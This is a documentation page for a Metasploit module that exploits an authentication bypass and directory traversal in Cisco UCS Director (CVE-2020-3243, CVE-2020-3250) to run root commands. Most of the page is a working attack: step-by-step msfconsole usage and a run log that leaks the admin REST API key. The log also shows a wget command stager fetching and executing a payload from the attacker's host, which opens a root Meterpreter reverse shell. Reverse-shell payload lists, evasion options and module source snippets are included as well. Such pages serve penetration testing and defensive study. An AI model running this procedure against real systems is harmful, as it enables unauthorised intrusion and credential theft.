Cisco UCS Director Cloupia Script RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/http/cisco_ucs_cloupia_script_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cisco UCS Director Cloupia Script RCE
Module: exploit/linux/http/cisco_ucs_cloupia_script_rce
Source code: modules/exploits/linux/http/cisco_ucs_cloupia_script_rce.rb
Disclosure date: 2020-04-15
Last modification time: 2021-02-16 13:56:50 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-3243, CVE-2020-3250
This module exploits an authentication bypass and directory traversals in Cisco UCS Director < 6.7.4.0 to leak the administrator's REST API key and execute a Cloupia script containing an arbitrary root command. Note that the primary functionality of this module is to leverage the Cloupia script interpreter to execute code. This functionality is part of the application's intended operation and considered a "foreverday." The authentication bypass and directory traversals only get us there. If you already have an API key, you may set it in the API_KEY option. The LEAK_FILE option may be set if you wish to leak the API key from a different absolute path, but normally this isn't advisable. Tested on Cisco's VMware distribution of 6.7.3.0.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/http/cisco_ucs_cloupia_script_rce
msf exploit(cisco_ucs_cloupia_script_rce) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Description
This module exploits an authentication bypass and directory traversals in Cisco UCS Director < 6.7.4.0 to leak the administrator's REST API key and execute a Cloupia script containing an arbitrary root command.
Note that the primary functionality of this module is to leverage the Cloupia script interpreter to execute code. This functionality is part of the application's intended operation and considered a "foreverday." The authentication bypass and directory traversals only get us there.
If you already have an API key, you may set it in the API_KEY
option.
The LEAK_FILE
option may be set if you wish to leak the API key from a
different absolute path, but normally this isn't advisable.
Tested on Cisco's VMware distribution of 6.7.3.0.
Setup
Note: You will need a Cisco account to proceed, particularly for software.cisco.com. *Cough*
- Download CUCSD_6_7_3_0_67414_VMWARE_SIGNED_EVAL.zip
- Unzip
CUCSD_6_7_3_0_67414_VMWARE_SIGNED_EVAL.zip
and unzipCUCSD_6_7_3_0_67414_VMWARE_GA.zip
inside it - Import
CUCSD_6_7_3_0_67414.ovf
into VMware or your preferred virtualization software - Start the VM and wait for the system to finish booting
- Visit https://[RHOST]/app/ui/login.jsp, where
[RHOST]
is the target's IP - Wait nearly forever for the system to finish initializing
- Sign in with
admin:admin
to log the admin's REST API key in/opt/infra/idaccessmgr/logfile.txt
You are now ready to test the module using the steps below.
Verification Steps
Targets
0
This executes a Unix command.
1
This uses a Linux dropper to execute code.
Options
API_KEY
If you already have an admin REST API key, you can authenticate with it by setting this option.
LEAK_FILE
This is the file to leak the API key from, specified as an absolute
path. It defaults to /opt/infra/idaccessmgr/logfile.txt
, and you
shouldn't need to change it.
Scenarios
Cisco UCS Director 6.7.3.0 VMware distribution
msf5 > use exploit/linux/http/cisco_ucs_cloupia_script_rce
msf5 exploit(linux/http/cisco_ucs_cloupia_script_rce) > options
Module options (exploit/linux/http/cisco_ucs_cloupia_script_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
API_KEY no API key if you have it
LEAK_FILE /opt/infra/idaccessmgr/logfile.txt yes Leak API key from this file (absolute path)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
msf5 exploit(linux/http/cisco_ucs_cloupia_script_rce) > set rhosts 172.16.249.158
rhosts => 172.16.249.158
msf5 exploit(linux/http/cisco_ucs_cloupia_script_rce) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf5 exploit(linux/http/cisco_ucs_cloupia_script_rce) > run
[*] Started reverse TCP handler on 172.16.249.1:4444
[*] Executing automatic check (disable AutoCheck to override)
[!] The service is running, but could not be validated. Target is running Cisco UCS Director.
[*] Creating exports directory
[+] Successfully created exports directory
[*] Leaking API key from /opt/infra/idaccessmgr/logfile.txt
[+] Successfully dumped /opt/infra/idaccessmgr/logfile.txt
[+] Found API key: FE30858BE2FD4BAB8208F5A1DE909AAD
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/vV8W6PFtOmPZIe
[*] Local IP: http://192.168.1.3:8080/vV8W6PFtOmPZIe
[*] Generated command stager: ["wget -qO /tmp/BaebLrFX http://172.16.249.1:8080/vV8W6PFtOmPZIe;chmod +x /tmp/BaebLrFX;/tmp/BaebLrFX;rm -f /tmp/BaebLrFX"]
[*] Executing command: wget -qO /tmp/BaebLrFX http://172.16.249.1:8080/vV8W6PFtOmPZIe;chmod +x /tmp/BaebLrFX;/tmp/BaebLrFX;rm -f /tmp/BaebLrFX
[+] Successfully executed command: wget -qO /tmp/BaebLrFX http://172.16.249.1:8080/vV8W6PFtOmPZIe;chmod +x /tmp/BaebLrFX;/tmp/BaebLrFX;rm -f /tmp/BaebLrFX
[*] Client 172.16.249.158 (Wget/1.12 (linux-gnu)) requested /vV8W6PFtOmPZIe
[*] Sending payload to 172.16.249.158 (Wget/1.12 (linux-gnu))
[*] Command Stager progress - 100.00% done (119/119 bytes)
[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.158:35570) at 2020-05-10 05:46:44 -0500
[*] Server stopped.
meterpreter > getuid
Server username: root @ localhost (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer : localhost.localdom
OS : CentOS 6.7 (Linux 2.6.32-754.6.3.el6.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/cisco_ucs_cloupia_script_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/cisco_ucs_cloupia_script_rce
[*] Using configured payload linux/x64/meterpreter_reverse_tcp
msf6 exploit(linux/http/cisco_ucs_cloupia_script_rce) > show info
Name: Cisco UCS Director Cloupia Script RCE
Module: exploit/linux/http/cisco_ucs_cloupia_script_rce
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-04-15
Provided by:
mr_me
wvu <[email protected]>
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
API_KEY no API key if you have it
LEAK_FILE /opt/infra/idaccessmgr/logfile.txt yes Leak API key from this file (absolute path)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an authentication bypass and directory
traversals in Cisco UCS Director < 6.7.4.0 to leak the
administrator's REST API key and execute a Cloupia script containing
an arbitrary root command. Note that the primary functionality of
this module is to leverage the Cloupia script interpreter to execute
code. This functionality is part of the application's intended
operation and considered a "foreverday." The authentication bypass
and directory traversals only get us there. If you already have an
API key, you may set it in the API_KEY option. The LEAK_FILE option
may be set if you wish to leak the API key from a different absolute
path, but normally this isn't advisable. Tested on Cisco's VMware
distribution of 6.7.3.0.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-3243
https://nvd.nist.gov/vuln/detail/CVE-2020-3250
http://www.zerodayinitiative.com/advisories/ZDI-20-540
http://www.zerodayinitiative.com/advisories/ZDI-20-538
https://srcincite.io/blog/2020/04/17/strike-three-symlinking-your-way-to-unauthenticated-access-against-cisco-ucs-director.html
https://srcincite.io/pocs/src-2020-0014.py.txt
Module Options
This is a complete list of options available in the linux/http/cisco_ucs_cloupia_script_rce exploit:
msf6 exploit(linux/http/cisco_ucs_cloupia_script_rce) > show options
Module options (exploit/linux/http/cisco_ucs_cloupia_script_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
API_KEY no API key if you have it
LEAK_FILE /opt/infra/idaccessmgr/logfile.txt yes Leak API key from this file (absolute path)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
Advanced Options
Here is a complete list of advanced options supported by the linux/http/cisco_ucs_cloupia_script_rce exploit:
msf6 exploit(linux/http/cisco_ucs_cloupia_script_rce) > show advanced
Module advanced options (exploit/linux/http/cisco_ucs_cloupia_script_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR wget no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_i
nvokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/cisco_ucs_cloupia_script_rce module can exploit:
msf6 exploit(linux/http/cisco_ucs_cloupia_script_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/cisco_ucs_cloupia_script_rce exploit:
msf6 exploit(linux/http/cisco_ucs_cloupia_script_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
12 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
13 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
14 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
15 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
16 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
17 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
18 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
19 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/x86/adduser normal No Linux Add User
21 payload/linux/x86/chmod normal No Linux Chmod
22 payload/linux/x86/exec normal No Linux Execute Command
23 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
24 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
26 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
27 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
28 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
29 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
32 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
33 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
34 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
35 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
36 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
37 payload/linux/x86/read_file normal No Linux Read File
38 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
39 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
41 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
42 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
43 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
44 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
47 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
48 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
49 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
50 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
51 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/cisco_ucs_cloupia_script_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/cisco_ucs_cloupia_script_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Target did not respond to check.
- Target is not running Cisco UCS Director.
- Target is running Cisco UCS Director.
- Target did not respond to <__METHOD__>
- Target returned <RES.CODE> code
- Could not create exports directory
- Target did not respond to <__METHOD__>
- Target returned <RES.CODE> code
- <PATH> does not exist
- <PATH> is empty or unreadable
- Could not find API key
- Target did not respond to <__METHOD__>
- Target returned <RES.CODE> code
- Could not execute command: <CMD>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target did not respond to check.
Here is a relevant code snippet related to the "Target did not respond to check." error message:
108: 'method' => 'GET',
109: 'uri' => normalize_uri(target_uri.path, '/app/ui/login.jsp')
110: )
111:
112: unless res
113: return CheckCode::Unknown('Target did not respond to check.')
114: end
115:
116: unless res.code == 200 && res.body.include?('Cisco UCS Director')
117: return CheckCode::Unknown('Target is not running Cisco UCS Director.')
118: end
Target is not running Cisco UCS Director.
Here is a relevant code snippet related to the "Target is not running Cisco UCS Director." error message:
112: unless res
113: return CheckCode::Unknown('Target did not respond to check.')
114: end
115:
116: unless res.code == 200 && res.body.include?('Cisco UCS Director')
117: return CheckCode::Unknown('Target is not running Cisco UCS Director.')
118: end
119:
120: CheckCode::Detected('Target is running Cisco UCS Director.')
121: end
122:
Target is running Cisco UCS Director.
Here is a relevant code snippet related to the "Target is running Cisco UCS Director." error message:
115:
116: unless res.code == 200 && res.body.include?('Cisco UCS Director')
117: return CheckCode::Unknown('Target is not running Cisco UCS Director.')
118: end
119:
120: CheckCode::Detected('Target is running Cisco UCS Director.')
121: end
122:
123: def exploit
124: # Randomly named file is never written to the exports directory
125: create_exports_dir(
Target did not respond to <__METHOD__>
Here is a relevant code snippet related to the "Target did not respond to <__METHOD__>" error message:
172: },
173: 'data' => mime.to_s
174: )
175:
176: unless res
177: fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
178: end
179:
180: # It will always return 200, even on error
181: unless res.code == 200
182: fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
Target returned <RES.CODE> code
Here is a relevant code snippet related to the "Target returned <RES.CODE> code" error message:
177: fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
178: end
179:
180: # It will always return 200, even on error
181: unless res.code == 200
182: fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
183: end
184:
185: # It will always return this error, despite creating the directory!
186: unless res.body.include?('Cannot execute operation')
187: fail_with(Failure::NotVulnerable, 'Could not create exports directory')
Could not create exports directory
Here is a relevant code snippet related to the "Could not create exports directory" error message:
182: fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
183: end
184:
185: # It will always return this error, despite creating the directory!
186: unless res.body.include?('Cannot execute operation')
187: fail_with(Failure::NotVulnerable, 'Could not create exports directory')
188: end
189:
190: print_good('Successfully created exports directory')
191: end
192:
Target did not respond to <__METHOD__>
Here is a relevant code snippet related to the "Target did not respond to <__METHOD__>" error message:
212: },
213: 'partial' => true
214: )
215:
216: unless res
217: fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
218: end
219:
220: # It will always return 200, even on error
221: unless res.code == 200
222: fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
Target returned <RES.CODE> code
Here is a relevant code snippet related to the "Target returned <RES.CODE> code" error message:
217: fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
218: end
219:
220: # It will always return 200, even on error
221: unless res.code == 200
222: fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
223: end
224:
225: # There is no spoon
226: if res.body.include?('There is no file with the name')
227: fail_with(Failure::NotFound, "#{path} does not exist")
<PATH> does not exist
Here is a relevant code snippet related to the "<PATH> does not exist" error message:
222: fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
223: end
224:
225: # There is no spoon
226: if res.body.include?('There is no file with the name')
227: fail_with(Failure::NotFound, "#{path} does not exist")
228: end
229:
230: # An empty body may indicate permission denied
231: if res.body.empty?
232: fail_with(Failure::UnexpectedReply, "#{path} is empty or unreadable")
<PATH> is empty or unreadable
Here is a relevant code snippet related to the "<PATH> is empty or unreadable" error message:
227: fail_with(Failure::NotFound, "#{path} does not exist")
228: end
229:
230: # An empty body may indicate permission denied
231: if res.body.empty?
232: fail_with(Failure::UnexpectedReply, "#{path} is empty or unreadable")
233: end
234:
235: vprint_good("Successfully dumped #{path}")
236:
237: @api_key =
Could not find API key
Here is a relevant code snippet related to the "Could not find API key" error message:
236:
237: @api_key =
238: res.body.scan(/"loginName":"admin".+"restKey":"(\h+)"/).flatten.first
239:
240: unless @api_key
241: fail_with(Failure::NoAccess, 'Could not find API key')
242: end
243:
244: print_good("Found API key: #{@api_key}")
245: end
246:
Target did not respond to <__METHOD__>
Here is a relevant code snippet related to the "Target did not respond to <__METHOD__>" error message:
256: 'ctype' => 'text/xml',
257: 'data' => cloupia_script(cmd)
258: )
259:
260: unless res
261: fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
262: end
263:
264: # It will always return 200, even on error
265: unless res.code == 200
266: fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
Target returned <RES.CODE> code
Here is a relevant code snippet related to the "Target returned <RES.CODE> code" error message:
261: fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
262: end
263:
264: # It will always return 200, even on error
265: unless res.code == 200
266: fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
267: end
268:
269: # Just like Unix, a status of 0 indicates success
270: unless res.body.include?('<operationStatus>0</operationStatus')
271: fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
Could not execute command: <CMD>
Here is a relevant code snippet related to the "Could not execute command: <CMD>" error message:
266: fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
267: end
268:
269: # Just like Unix, a status of 0 indicates success
270: unless res.body.include?('<operationStatus>0</operationStatus')
271: fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
272: end
273:
274: print_good("Successfully executed command: #{cmd}")
275: end
276:
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
- CVE-2020-3243
- CVE-2020-3250
- ZDI-20-540
- ZDI-20-538
- https://srcincite.io/blog/2020/04/17/strike-three-symlinking-your-way-to-unauthenticated-access-against-cisco-ucs-director.html
- https://srcincite.io/pocs/src-2020-0014.py.txt
See Also
Check also the following modules related to this module:
- exploit/linux/http/cisco_asax_sfr_rce
- exploit/linux/http/cisco_firepower_useradd
- exploit/linux/http/cisco_hyperflex_file_upload_rce
- exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec
- exploit/linux/http/cisco_prime_inf_rce
- exploit/linux/http/cisco_rv32x_rce
